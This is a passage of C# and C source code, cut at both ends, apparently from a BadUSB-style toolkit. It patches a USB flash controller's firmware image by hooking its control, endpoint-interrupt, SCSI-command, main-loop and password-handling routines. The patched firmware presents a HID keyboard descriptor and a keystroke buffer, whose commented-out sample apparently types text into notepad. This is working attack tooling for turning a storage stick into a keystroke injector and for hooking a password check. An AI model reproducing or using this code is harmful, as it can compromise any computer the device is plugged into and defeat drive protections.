                    Console.WriteLine("Signature not found!");
                }
            }
            catch (Exception ex)
            {
                //Uh-oh
                Environment.ExitCode = (int)ExitCode.Failure;
                Console.WriteLine("FATAL: " + ex.ToString());
            }
        }
    }
}

Injector

Startup

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace Injector
{
    class Startup
    {
        private static string _firmwareImage;
        private static string _outputFile;
        private static FirmwareSection _section = FirmwareSection.None;
        private static Dictionary<FirmwareSection, string> _codeFiles;
        private static Dictionary<FirmwareSection, string> _rstFiles;
        internal enum Action
        {
            None,
            GenerateHFile,
            FindFreeBlock,
            ApplyPatches
        }
        internal enum ExitCode
        {
            Success = 0,
            Failure = 1
        }
        static void Main(string[] args)
        {
            try
            {
                _codeFiles = new Dictionary<FirmwareSection, string>();
                _rstFiles = new Dictionary<FirmwareSection, string>();
                //Assume success to start with
                Environment.ExitCode = (int)ExitCode.Success;
                var action = Action.None;
                //Parse command line arguments
                foreach (var arg in args)
                {
                    var parts = arg.TrimStart(new char[] { '/' }).Split(new char[] { '=' },
                        StringSplitOptions.RemoveEmptyEntries);
                    switch (parts[0].ToLower())
                    {
                        case "action":
                            {
                                action = (Action)Enum.Parse(typeof(Action), parts[1]);
                                Console.WriteLine("Action: " + action.ToString());
                                break;
                            }
                        case "section":
                            {
                                _section = (FirmwareSection)Enum.Parse(typeof(FirmwareSection), parts[1]);
                                Console.WriteLine("Section: " + _section.ToString());
                                break;
                            }
                        case "firmware":
                            {
                                _firmwareImage = parts[1];
                                Console.WriteLine("Firmware image: " + _firmwareImage);
                                _CheckFirmwareImage();
                                break;
                            }
                        case "output":
                            {
                                _outputFile = parts[1];
                                Console.WriteLine("Output file: " + _outputFile);
                                break;
                            }
                        default:
                            {
                                _ParseFileNames(ref _codeFiles, "code", parts[0], parts[1]);
                                _ParseFileNames(ref _rstFiles, "rst", parts[0], parts[1]);
                                break;
                            }
                    }
                }
                //Firmware image file name is always required
                if (string.IsNullOrEmpty(_firmwareImage))
                {
                    throw new ArgumentException("No/Invalid firmware image file name specified");
                }
                switch (action)
                {
                    case Action.GenerateHFile:
                        {
                            if (string.IsNullOrEmpty(_outputFile))
                            {
                                throw new ArgumentException("No/Invalid output file name specified");
                            }
                            Console.WriteLine("Generating .h file...");
                            _GenerateHFile();
                            break;
                        }
                    case Action.ApplyPatches:
                        {
                            //Check required arguments for this action
                            if (string.IsNullOrEmpty(_outputFile))
                            {
                                throw new ArgumentException("No/Invalid output file name specified");
                            }
                            if (_codeFiles.Count == 0)
                            {
                                throw new ArgumentException("No code file name(s) specified");
                            }
                            if (_rstFiles.Count == 0)
                            {
                                throw new ArgumentException("No/Invalid RST file name specified");
                            }
                            Console.WriteLine("Applying patches...");
                            _ApplyPatches();
                            break;
                        }
                    case Action.FindFreeBlock:
                        {
                            //Check required arguments for this action
                            if (_section == FirmwareSection.None)
                            {
                                throw new ArgumentException("No/Invalid section specified");
                            }
                            Console.WriteLine("Retriving free space...");
                            _GetFreeSpaceToFile();
                            break;
                        }
                    default:
                        throw new ArgumentException("No/Invalid action specified");
                }
                Console.WriteLine("Done.");
            }
            catch (Exception ex)
            {
                //Uh-oh...
                Environment.ExitCode = (int)ExitCode.Failure;
                var asm = System.Reflection.Assembly.GetExecutingAssembly();
                var asmName = asm.GetName();
                Console.WriteLine(asmName.Name + " v" + asmName.Version.ToString(3));
                Console.WriteLine("Actions:");
                Console.WriteLine("\tGenerateHFile\tGenerates C .h file of common XRAM & function equates.");
                Console.WriteLine("\tFindFreeBlock\tWrites amount of free space for a section to file.");
                Console.WriteLine("\tApplyPatches\tApplies available patches from code into firmware image.");
                Console.WriteLine();
                Console.WriteLine("FATAL: " + ex.ToString());
            }
        }
        private static void _CheckFirmwareImage()
        {
            var md5 = new MD5CryptoServiceProvider();
            var verified = new List<string>();
            verified.Add("4C4C0001EC83102C4627D271FF8362A2");
            var hash = BitConverter.ToString(md5.ComputeHash(File.ReadAllBytes(_firmwareImage)))
                .Replace("-", string.Empty);
            if (!verified.Contains(hash))
            {
                Console.WriteLine("WARNING! This firmware version has not been " +
                    "verified to work with these patches.");
            }
        }
        private static void _ParseFileNames(ref Dictionary<FirmwareSection, string> files,
            string suffix, string name, string value)
        {
            if (name.ToLower().EndsWith(suffix))
            {
                var section = FirmwareSection.Base;
                int s;
                if (int.TryParse(name.Substring(0, name.Length - suffix.Length), out s))
                {
                    section = (FirmwareSection)s;
                }
                files.Add(section, value);
                Console.WriteLine(suffix + " " + section.ToString() + " file: " + value);
            }
        }
        private static Dictionary<string, int> _GetAddressMap(string fileName)
        {
            //Read in RST file and its label<->address map
            var addressMap = new Dictionary<string, int>();
            var ret = new Dictionary<string, int>();
            var rst = new StreamReader(fileName, ASCIIEncoding.ASCII);
            while (true)
            {
                var line = rst.ReadLine();
                if (line == null)
                {
                    break;
                }
                if (line.EndsWith(":"))
                {
                    var parts = line.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
                    var label = parts[parts.Length - 1].TrimEnd(':');
                    var address = parts[0];
                    if (label.StartsWith("_"))
                    {
                        ret.Add(label, Convert.ToInt32(address, 16));
                    }
                }
            }
            rst.Close();
            return ret;
        }
        private static void _GenerateHFile()
        {
            var stream = new StreamWriter(_outputFile);
            //Read in firmware image
            var image = new FirmwareImage(_firmwareImage);
            image.Open();
            var pattern = new byte?[] { 0x90, 0xF0, 0xB8, 0xE0, //mov DPTR, #0xF0B8 \ movx a, @DPTR
                                        0x90, null, null, 0xF0, //mov DPTR, #0x???? \ movx @DPTR, a
                                        0x90, 0xF0, 0xB9, 0xE0 }; //mov DPTR, #0xF0B9 \ movx a, @DPTR \ movx DPTR, #0x????
            FirmwareSection section;
            int address;
            if (image.FindPattern(pattern, out section, out address))
            {
                var a = image.GetSection(section)[address + 5] << 8;
                a |= image.GetSection(section)[address + 6];
                stream.WriteLine(string.Format("__xdata __at 0x{0} BYTE {1};", a.ToString("X04"), "bmRequestType"));
                stream.WriteLine(string.Format("__xdata __at 0x{0} BYTE {1};", (a + 1).ToString("X04"), "bRequest"));
            }
            pattern = new byte?[] { 0x90, null, null, 0xE0, //mov DPTR, #0x???? \ movx a, @DPTR
                                    0xB4, 0x28 }; //cjne A, #0x28, ????
            if (image.FindPattern(pattern, out section, out address))
            {
                var a = image.GetSection(section)[address + 1] << 8;
                a |= image.GetSection(section)[address + 2];
                stream.WriteLine(string.Format("__xdata __at 0x{0} BYTE {1}[16];", a.ToString("X04"), "scsi_cdb"));
                stream.WriteLine(string.Format("#define {0} 0x{1}", "DEFAULT_READ_SECTOR_HANDLER", (address + 7).ToString("X04")));
                pattern = new byte?[] { 0x90, (byte)((a >> 8) & 0xFF), (byte)(a & 0xFF), //mov DPTR, #scsi_tag
                                        0xE0, 0x12 }; //mvox A, @DPTR \ lcall 0x????
                if (image.FindPattern(pattern, address, out section, out address))
                {
                    stream.WriteLine(string.Format("#define {0} 0x{1}", "DEFAULT_CDB_HANDLER", address.ToString("X04")));
                }
            }
            pattern = new byte?[] { 0x90, 0xF2, 0x1C, //mov DPTR, #0xF21C
                                    0x74, 0x55, 0xF0, //mov A, #0x55 \ movx @DPTR, A
                                    0x74, 0x53, 0xF0, //mov A, #0x53 \ movx @DPTR, A
                                    0x74, 0x42, 0xF0, //mov A, #0x42 \ movx @DPTR, A
                                    0x74, 0x53, 0xF0, //mov A, #0x53 \ movx @DPTR, A
                                    0x90 }; //mov DPTR, #0x????
            if (image.FindPattern(pattern, out section, out address))
            {
                var a = image.GetSection(section)[address + pattern.Length] << 8;
                a |= image.GetSection(section)[address + pattern.Length + 1];
                stream.WriteLine(string.Format("__xdata __at 0x{0} BYTE {1}[4];", (a - 3).ToString("X04"), "scsi_tag"));
            }
            pattern = new byte?[] { 0xC0, 0xE0, 0xC0, 0x83, 0xC0, 0x82, //push ACC \ push DPH \ push DPL
                                    0x90, 0xF0, 0x20, 0xE0, //mov DPTR, #0xF020 \ movx A, @DPTR
                                    0x30, 0xE1, null, //jnb ACC.1, ????
                                    0x12, null, null, 0x90 }; //lcall ???? \ mov DPTR, #0x????
            if (image.FindPattern(pattern, out section, out address))
            {
                var a = image.GetSection(section)[address + 17] << 8;
                a |= image.GetSection(section)[address + 18];
                stream.WriteLine(string.Format("__xdata __at 0x{0} BYTE {1};", a.ToString("X04"), "FW_EPIRQ"));
            }
            stream.WriteLine(string.Format("__xdata __at 0x{0} BYTE {1}[1024];", "B000", "EPBUF"));
            stream.Close();
        }
        private static void _GetFreeSpaceToFile()
        {
            //Read in firmware image
            var image = new FirmwareImage(_firmwareImage);
            image.Open();
            File.WriteAllText(_outputFile, "0x" + image.FindLastFreeChunk(_section).ToString("X04"));
        }
        private static void _ApplyPatches()
        {
            //Read in firmware image
            var image = new FirmwareImage(_firmwareImage);
            image.Open();
            //Read in the RST files
            var maps = new Dictionary<FirmwareSection, Dictionary<string, int>>();
            foreach (var file in _rstFiles)
            {
                maps.Add(file.Key, _GetAddressMap(file.Value));
            }
            //Find how much free space is left on each page
            var emptyStart = new Dictionary<FirmwareSection, int>();
            for (FirmwareSection i = FirmwareSection.Base; i < FirmwareSection.SectionF; i++)
            {
                emptyStart.Add(i, image.FindLastFreeChunk(i));
            }
            //Embed our code files into the firmware image
            foreach (var file in _codeFiles)
            {
                var code = File.ReadAllBytes(file.Value);
                Array.Copy(code, 0, image.GetSection(file.Key), emptyStart[file.Key], code.Length);
                emptyStart[file.Key] += code.Length;
            }
            //Find the off-page call stubs
            var stubs = new Dictionary<FirmwareSection, int>();
            int saddr = 0;
            var spattern = new byte?[] { 0xC0, 0x5B, 0x74, 0x08, //push RAM_5B \ mov A, #8
                                         0xC0, 0xE0, 0xC0, 0x82, 0xC0, 0x83, //push ACC \ push DPL \ push DPH
                                         0x75, 0x5B }; //mov RAM_5B, #0x??
            FirmwareSection fs;
            for (FirmwareSection i = FirmwareSection.Section0; i <= FirmwareSection.SectionF; i++)
            {
                if (image.FindPattern(spattern, saddr, out fs, out saddr))
                {
                    stubs.Add(i, saddr);
                    saddr += spattern.Length; //move ahead so we can find the next stub
                }
            }
            //Hook into control request handling
            foreach (var map in maps)
            {
                if (map.Value.ContainsKey("_HandleControlRequest"))
                {
                    var address = map.Value["_HandleControlRequest"];
                    var pattern = new byte?[] { 0x12, null, null, //lcall #0x????
                                                0x90, 0xFE, 0x82, 0xE0, //mov DPTR, #0xFE82 \ movx A, @DPTR
                                                0x54, 0xEF, 0xF0 }; //anl A, #0xEF \ movx @DPTR, A
                    FirmwareSection s;
                    int a;
                    if (image.FindPattern(pattern, out s, out a))
                    {
                        a = (image.GetSection(s)[a + 1] << 8) | image.GetSection(s)[a + 2];
                        image.GetSection(s)[a + 1] = (byte)((address >> 8) & 0xFF);
                        image.GetSection(s)[a + 2] = (byte)(address & 0xFF);
                        if (map.Key != FirmwareSection.Base)
                        {
                            image.GetSection(s)[a + 4] = (byte)((stubs[map.Key] >> 8) & 0xFF);
                            image.GetSection(s)[a + 5] = (byte)(stubs[map.Key] & 0xFF);
                        }
                    }
                    break;
                }
            }
            //Replace the EP interrupt vector, handling all incoming and outgoing non-control data
            foreach (var map in maps)
            {
                //This part must be on the base page
                if (map.Value.ContainsKey("_EndpointInterrupt"))
                {
                    var address = map.Value["_EndpointInterrupt"];
                    var s = image.GetSection(FirmwareSection.Base);
                    s[0x0014] = (byte)((address >> 8) & 0xFF);
                    s[0x0015] = (byte)(address & 0xFF);
                }
                if (map.Value.ContainsKey("_HandleEndpointInterrupt"))
                {
                    //Find the base page location to patch
                    var pattern = new byte?[] { 0x30, 0xE1, null, //jnb ACC.1, #0x????
                                                0x12, null, null, //lcall #0x????
                                                0x90, 0xFE, 0x82, 0xE0, //mov DPTR, #0xFE82 \ movx A, @DPTR
                                                0x54, 0xEF, 0xF0 }; //anl A, #0xEF \ movx @DPTR, A
                    FirmwareSection ps;
                    int pa;
                    if (image.FindPattern(pattern, out ps, out pa))
                    {
                        //Create off-page stub for this if necessary
                        var address = map.Value["_HandleEndpointInterrupt"];
                        var stubAddress = address;
                        if (map.Key != FirmwareSection.Base)
                        {
                            stubAddress = emptyStart[FirmwareSection.Base];
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x90;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((address >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(address & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x02;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((stubs[map.Key] >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(stubs[map.Key] & 0xFF);
                        }
                        //Apply the patch
                        var s = image.GetSection(ps);
                        s[pa + 0] = 0x60;
                        s[pa + 1] = 0x0B;
                        s[pa + 2] = 0x00;
                        s[pa + 4] = (byte)((stubAddress >> 8) & 0xFF);
                        s[pa + 5] = (byte)(stubAddress & 0xFF);
                        for (int i = 0; i < 7; i++)
                        {
                            s[pa + 6 + i] = 0x00;
                        }
                    }
                }
            }
            //Apply CDB-handling code
            foreach (var map in maps)
            {
                if (map.Value.ContainsKey("_HandleCDB"))
                {
                    var pattern = new byte?[] { 0x90, null, null, 0xE0, //mov DPTR, #0x???? \ movx a, @DPTR
                                    0xB4, 0x28 }; //cjne A, #0x28, ????
                    FirmwareSection ps;
                    int pa;
                    if (image.FindPattern(pattern, out ps, out pa))
                    {
                        //Create off-page stub for this if necessary
                        var address = map.Value["_HandleCDB"];
                        var stubAddress = address;
                        if (map.Key != FirmwareSection.Base)
                        {
                            stubAddress = emptyStart[FirmwareSection.Base];
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x90;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((address >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(address & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x02;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((stubs[map.Key] >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(stubs[map.Key] & 0xFF);
                        }
                        //Apply the patch
                        var s = image.GetSection(FirmwareSection.Base);
                        s[pa + 0] = 0x02;
                        s[pa + 1] = (byte)((stubAddress >> 8) & 0xFF);
                        s[pa + 2] = (byte)(stubAddress & 0xFF);
                    }
                }
            }
            //Add our own code to the infinite loop
            foreach (var map in maps)
            {
                if (map.Value.ContainsKey("_LoopDo"))
                {
                    var pattern = new byte?[] { 0x90, null, null, 0xE0, //mov DPTR, #0x???? \ movx A, @DPTR
                                                0xB4, 0x01, null, //cjne A, #1, #0x????
                                                0x90, 0xF0, 0x79 }; //mov DPTR, #0xF079
                    FirmwareSection ps;
                    int pa;
                    if (image.FindPattern(pattern, out ps, out pa))
                    {
                        //Create off-page stub for this if necessary
                        var address = map.Value["_LoopDo"];
                        var stubAddress = address;
                        if (map.Key != FirmwareSection.Base)
                        {
                            stubAddress = emptyStart[FirmwareSection.Base];
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x90;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((address >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(address & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x02;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((stubs[map.Key] >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(stubs[map.Key] & 0xFF);
                        }
                        var s = image.GetSection(ps);
                        var loopDoStart = emptyStart[FirmwareSection.Base];
                        s[emptyStart[FirmwareSection.Base]++] = 0x12;
                        s[emptyStart[FirmwareSection.Base]++] = (byte)((stubAddress >> 8) & 0xFF);
                        s[emptyStart[FirmwareSection.Base]++] = (byte)(stubAddress & 0xFF);
                        s[emptyStart[FirmwareSection.Base]++] = 0x90;
                        s[emptyStart[FirmwareSection.Base]++] = image.GetSection(ps)[pa + 1];
                        s[emptyStart[FirmwareSection.Base]++] = image.GetSection(ps)[pa + 2];
                        s[emptyStart[FirmwareSection.Base]++] = 0x22;
                        s[pa + 0] = 0x12;
                        s[pa + 1] = (byte)((loopDoStart >> 8) & 0xFF);
                        s[pa + 2] = (byte)(loopDoStart & 0xFF);
                    }
                }
            }
            //Apply password patch code
            foreach (var map in maps)
            {
                if (map.Value.ContainsKey("_PasswordReceived"))
                {
                    var pattern = new byte?[] { 0x90, 0xF2, 0x4C, 0xF0, 0xA3, //mov DPTR, #0xF24C \ movx @DPTR, A \ inc DPTR
                                                0xC0, 0x83, 0xC0, 0x82, 0x12, //push DPH \ push DPL
                                                null, null, 0xD0, 0x82, 0xD0, 0x83, 0xF0, //lcall #0x???? \ pop DPL \ pop DPH \ movx @DPTR, A
                                                0x90, 0xF2, 0x53, 0x74, 0x80, 0xF0, //mov DPTR, #0xF253 \ mov A, #0x80 \ movx @DPTR, A
                                                0x90, 0xF2, 0x53, 0xE0, //mov DPTR, #0xF253 \ movx A, @DPTR
                                                0x30, 0xE7, null, //jnb ACC.7, #0x????
                                                0x12, null, null, 0x40, null, //lcall #0x???? \ jc #0x????
                                                0x12, null, null, 0x7F, 0x00, 0x22 }; //lcall #0x???? \ mov R7, #0 \ ret
                    FirmwareSection ps;
                    int pa;
                    if (image.FindPattern(pattern, out ps, out pa))
                    {
                        //Create off-page stub for this if necessary
                        var address = map.Value["_PasswordReceived"];
                        var stubAddress = address;
                        if (map.Key != FirmwareSection.Base)
                        {
                            stubAddress = emptyStart[FirmwareSection.Base];
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x90;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((address >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(address & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = 0x02;
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)((stubs[map.Key] >> 8) & 0xFF);
                            image.GetSection(FirmwareSection.Base)[emptyStart[FirmwareSection.Base]++] = (byte)(stubs[map.Key] & 0xFF);
                        }
                        //Apply the patch
                        pa += 0x24;
                        var passRecvdStart = emptyStart[ps] + (ps == FirmwareSection.Base ? 0x0000 : 0x5000);
                        image.GetSection(ps)[emptyStart[ps]++] = 0x12;
                        image.GetSection(ps)[emptyStart[ps]++] = image.GetSection(ps)[pa + 0];
                        image.GetSection(ps)[emptyStart[ps]++] = image.GetSection(ps)[pa + 1];
                        image.GetSection(ps)[emptyStart[ps]++] = 0x02;
                        image.GetSection(ps)[emptyStart[ps]++] = (byte)((stubAddress >> 8) & 0xFF);
                        image.GetSection(ps)[emptyStart[ps]++] = (byte)(stubAddress & 0xFF);
                        image.GetSection(ps)[pa + 0] = (byte)((passRecvdStart >> 8) & 0xFF);
                        image.GetSection(ps)[pa + 1] = (byte)(passRecvdStart & 0xFF);
                    }
                }
            }
            //Write the resulting file out
            image.Save(_outputFile);
        }
    }
}

Firmware image

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Injector
{
    public class FirmwareImage
    {
        private string _fileName;
        private byte[] _header;
        private Dictionary<FirmwareSection, byte[]> _sections;
        private byte[] _footer;
        public FirmwareImage(string fileName)
        {
            _fileName = fileName;
            _header = new byte[0x200];
            _sections = new Dictionary<FirmwareSection, byte[]>();
            _sections.Add(FirmwareSection.Base, new byte[0x6000]);
        }
        public byte[] GetSection(FirmwareSection section)
        {
            byte[] ret = null;
            if (_sections.ContainsKey(section))
            {
                ret = _sections[section];
            }
            return ret;
        }
        public void Open()
        {
            FirmwareSection i = 0;
            //Get the header and base page
            var stream = new FileStream(_fileName, FileMode.Open);
            var @base = GetSection(FirmwareSection.Base);
            stream.Read(_header, 0, _header.Length);
            stream.Read(@base, 0, @base.Length);
            //Read in all the sections
            while ((stream.Length - stream.Position) > 0x200)
            {
                var data = new byte[0x4000];
                stream.Read(data, 0, data.Length);
                _sections.Add(i++, data);
            }
            //If we have a footer, read it in
            if ((stream.Length - stream.Position) == 0x200)
            {
                _footer = new byte[0x200];
                stream.Read(_footer, 0, _footer.Length);
            }
            //All done
            stream.Close();
        }
        public bool FindPattern(byte?[] pattern, out FirmwareSection section, out int address)
        {
            return FindPattern(pattern, 0, out section, out address);
        }
        public bool FindPattern(byte?[] pattern, int startingOffset, out FirmwareSection section, out int address)
        {
            bool ret = false;
            section = FirmwareSection.Base;
            address = 0;
            foreach (var s in _sections)
            {
                for (int i = startingOffset; i < s.Value.Length; i++)
                {
                    bool match = true;
                    for (int j = 0; j < pattern.Length; j++)
                    {
                        if (((i + j) >= s.Value.Length) ||
                            ((s.Value[i + j] != pattern[j]) && (pattern[j].HasValue)))
                        {
                            match = false;
                            break;
                        }
                    }
                    if (match)
                    {
                        section = s.Key;
                        address = i;
                        ret = true;
                        break;
                    }
                }
                if (ret)
                {
                    break;
                }
            }
            return ret;
        }
        public int FindLastFreeChunk(FirmwareSection section)
        {
            int ret = -1;
            if (_sections.ContainsKey(section))
            {
                var data = _sections[section];
                var repeating = data[data.Length - 1];
                ret = data.Length - 2;
                while (data[ret] == repeating)
                {
                    ret--;
                    if (ret < 0)
                    {
                        break;
                    }
                }
            }
            return ++ret;
        }
        public void Save(string fileName)
        {
            var output = new FileStream(fileName, FileMode.Create);
            output.Write(_header, 0, _header.Length);
            foreach (var section in _sections.OrderBy(t => t.Key))
            {
                output.Write(section.Value, 0, section.Value.Length);
            }
            if (_footer != null)
            {
                output.Write(_footer, 0, _footer.Length);
            }
            output.Close();
        }
    }
}

Firmware patch

Control.c

#include "defs.h"
#include "usb.h"
#include "timers.h"
static const BYTE deviceDescriptor[] = { 0x12, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x40,
                                         0xFE, 0x13, 0x01, 0x52, 0x10, 0x01, 0x00, 0x00, 0x00, 0x01 };
static const BYTE configDescriptor[] = { 0x09, 0x02, sizeof(configDescriptor) & 0xFF, sizeof(configDescriptor) >> 8, 0x02, 0x01, 0x00, 0x80, 0x4B,
                                         0x09, 0x04, 0x00, 0x00, 0x03, 0x08, 0x06, 0x50, 0x00,
										 0x07, 0x05, 0x81, 0x02, 0x40, 0x00, 0x00,
										 0x07, 0x05, 0x02, 0x02, 0x40, 0x00, 0x00,
										 0x07, 0x05, 0x83, 0x03, 0x08, 0x00, 0x00,
										 0x09, 0x04, 0x01, 0x00, 0x02, 0x03, 0x01, 0x01, 0x00,
										 0x09, 0x21, 0x01, 0x01, 0x00, 0x01, 0x22,
										 sizeof(HIDreportDescriptor) & 0xFF,
										 sizeof(HIDreportDescriptor) >> 8,
										 0x07, 0x05, 0x83, 0x03, 0x08, 0x00, 0x01,
										 //This is a dummy endpoint to make the descriptor != 0x40, because the controller is stupid.
										 0x07, 0x05, 0x04, 0x03, 0x08, 0x00, 0x01 };
static const BYTE HIDreportDescriptor[] = { 0x05, 0x01, 0x09, 0x06, 0xA1, 0x01, 0x05, 0x07,
											0x19, 0xE0, 0x29, 0xE7, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01,
											0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01,
											0x95, 0x05, 0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05,
											0x91, 0x02,	0x95, 0x01, 0x75, 0x03, 0x91, 0x01, 0x95, 0x06,
											0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07, 0x19, 0x00,
											0x29, 0x65, 0x81, 0x00, 0xC0 };
static const BYTE deviceQualifierDescriptor[] = { 0x0A, 0x06, 0x00, 0x02, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00 };
void EP0ACK()
{
	EP0CS = bmEP0ACK;
}
static BYTE SetAddress()
{
	BYTE ret = FALSE;
	if (wValue < 0x7F)
	{
		EP0ACK();
		ret = TRUE;
	}
	return ret;
}
static BYTE GetDescriptor()
{
	BYTE type = (wValue >> 8) & 0xFF;
	BYTE i, total;
	BYTE ret = FALSE;
	switch (type)
	{
		case 0x01:
		{
			for (i = 0; i < 0x12; i++)
			{
				EP0.fifo = deviceDescriptor[i];
			}
			SendControlResponse(wLength < 0x12 ? wLength : 0x12);
			ret = TRUE;
			break;
		}
		case 0x02:
		{
			total = wLength < sizeof(configDescriptor) ? wLength : sizeof(configDescriptor);
			for (i = 0; i < total; i++)
			{
				EP0.fifo = configDescriptor[i];
			}
			SendControlResponse(total);
			ret = TRUE;
			break;
		}
		case 0x06:
		{
			for (i = 0; i < sizeof(deviceQualifierDescriptor); i++)
			{
				EP0.fifo = deviceQualifierDescriptor[i];
			}
			SendControlResponse(wLength < sizeof(deviceQualifierDescriptor) ? wLength : sizeof(deviceQualifierDescriptor));
			ret = TRUE;
			break;
		}
		case 0x22:
		{
			for (i = 0; i < sizeof(HIDreportDescriptor); i++)
			{
				EP0.fifo = HIDreportDescriptor[i];
			}
			SendControlResponse(wLength < sizeof(HIDreportDescriptor) ? wLength : sizeof(HIDreportDescriptor));
			ret = TRUE;
			break;
		}
		default:
		{
			break;
		}
	}
	return ret;
}
static BYTE SetConfiguration()
{
	BYTE ret = FALSE;
	if (wValue <= 1)
	{
		EP0ACK();
		ret = TRUE;
	}
	return ret;
}
BYTE HandleStandardRequest()
{
	switch(bRequest)
	{
		case 0x05:
		{
			return SetAddress();
		}
		case 0x06:
		{
			return GetDescriptor();
		}
		case 0x09:
		{
			return SetConfiguration();
		}
		default:
		{
			return FALSE;
		}
	}
}
static BYTE GetMaxLUN()
{
	EP0.fifo = 0x00;
	SendControlResponse(wLength < 0x01 ? wLength : 0x01);
	return TRUE;
}
BYTE HandleClassRequest()
{
	switch(bRequest)
	{
		case 0x09:
		{
			EP0CS = 0x05;
			return TRUE;
		}
		case 0x0A:
		{
			EP0ACK();
			return TRUE;
		}
		case 0xFE:
		{
			return GetMaxLUN();
		}
		default:
		{
			return FALSE;
		}
	}
}
BYTE HandleVendorRequest()
{
	return FALSE;
}

Main.c

#include "defs.h"
#include "timers.h"
#include "usb.h"
extern void usb_isr(void) __interrupt USB_VECT;
extern void ep_isr(void) __interrupt EP_VECT;
extern void tmr0isr(void) __interrupt TMR0_VECT;
extern void tmr1isr(void) __interrupt TMR1_VECT;
#define KEY_DELAY 8192
#define KEY_BUFFER_SIZE 0x2000
static const BYTE keyData[KEY_BUFFER_SIZE] = { /*0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00,
	0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xC3,
	0x15, 0x08, 0x00, 0xFF, 0x00, 0xF5, 0x11, 0x00, 0x12, 0x00, 0x17, 0x00, 0x08, 0x00, 0x13,
	0x00, 0x04, 0x00, 0x07, 0x00, 0x00, 0xFF, 0x00, 0xF5, 0x28, 0x00, 0x00, 0xFF, 0x00, 0xFF,
	0x00, 0xF0, 0x0B, 0x02, 0x08, 0x00, 0x0F, 0x00, 0x0F, 0x00, 0x12, 0x00, 0x2C, 0x00, 0x1A,
	0x02, 0x12, 0x00, 0x15, 0x00, 0x0F, 0x00, 0x07, 0x00, 0x1E, 0x02, 0x1E, 0x02, 0x1E, 0x02,
	0x28, 0x00*/ 0x12, 0x34, 0x56, 0x78 };
int key_index = 0;
volatile BYTE send_keys_enabled = 0;
DWORD wait_counter = KEY_DELAY;
DWORD wait_tick;
void InitHardware()
{
	//Set up RAM mapping just beyond our own code
	BANK0PAL = BANK0_PA>>9;
	BANK0PAH = BANK0_PA>>17;
	BANK1VA  = BANK1_VA>>8;
	BANK1PAL = BANK1_PA>>9;
	BANK1PAH = BANK1_PA>>17;
	BANK2VA  = BANK2_VA>>8;
	BANK2PAL = BANK2_PA>>9;
	BANK2PAH = BANK2_PA>>17;
	XVAL(0xF809) = 7;
	XVAL(0xF80A) = 0x1F;
	XVAL(0xF810) = 0x60;
	XVAL(0xF811) = 0;
	XVAL(0xF08F) = 0;
	XVAL(0xFA6F) = 0x1F;
	XVAL(0xFA60) = 2;
	XVAL(0xFA61) = 0;
	XVAL(0xFA64) = 0;
	XVAL(0xFA65) = 0;
	XVAL(0xFA66) = 0;
	XVAL(0xFA67) = 0;
	XVAL(0xFA62) = 0x0F;
	XVAL(0xFA6F) = 0x1F;
	GPIO0DIR &= 0xFD;
	GPIO0OUT |= 2;
	XVAL(0xFA21) = 7;
	XVAL(0xFA21) &= 0xFB;
	XVAL(0xFA68) &= 0xF7;
	XVAL(0xFA69) &= 0xF7;
	XVAL(0xFA6A) &= 0xF7;
	XVAL(0xFA6B) &= 0xF7;
	XVAL(0xFE00) = 0;
	XVAL(0xFE00) = 0x80;
	XVAL(0xFA50) = 0x20;
	XVAL(0xFE01) = 0;
	XVAL(0xFE02) = 0x45;
	TMOD = 0x11;
	TH0 = 0xF0;
	TL0 = 0x5F;
	TH1 = 0xF0;
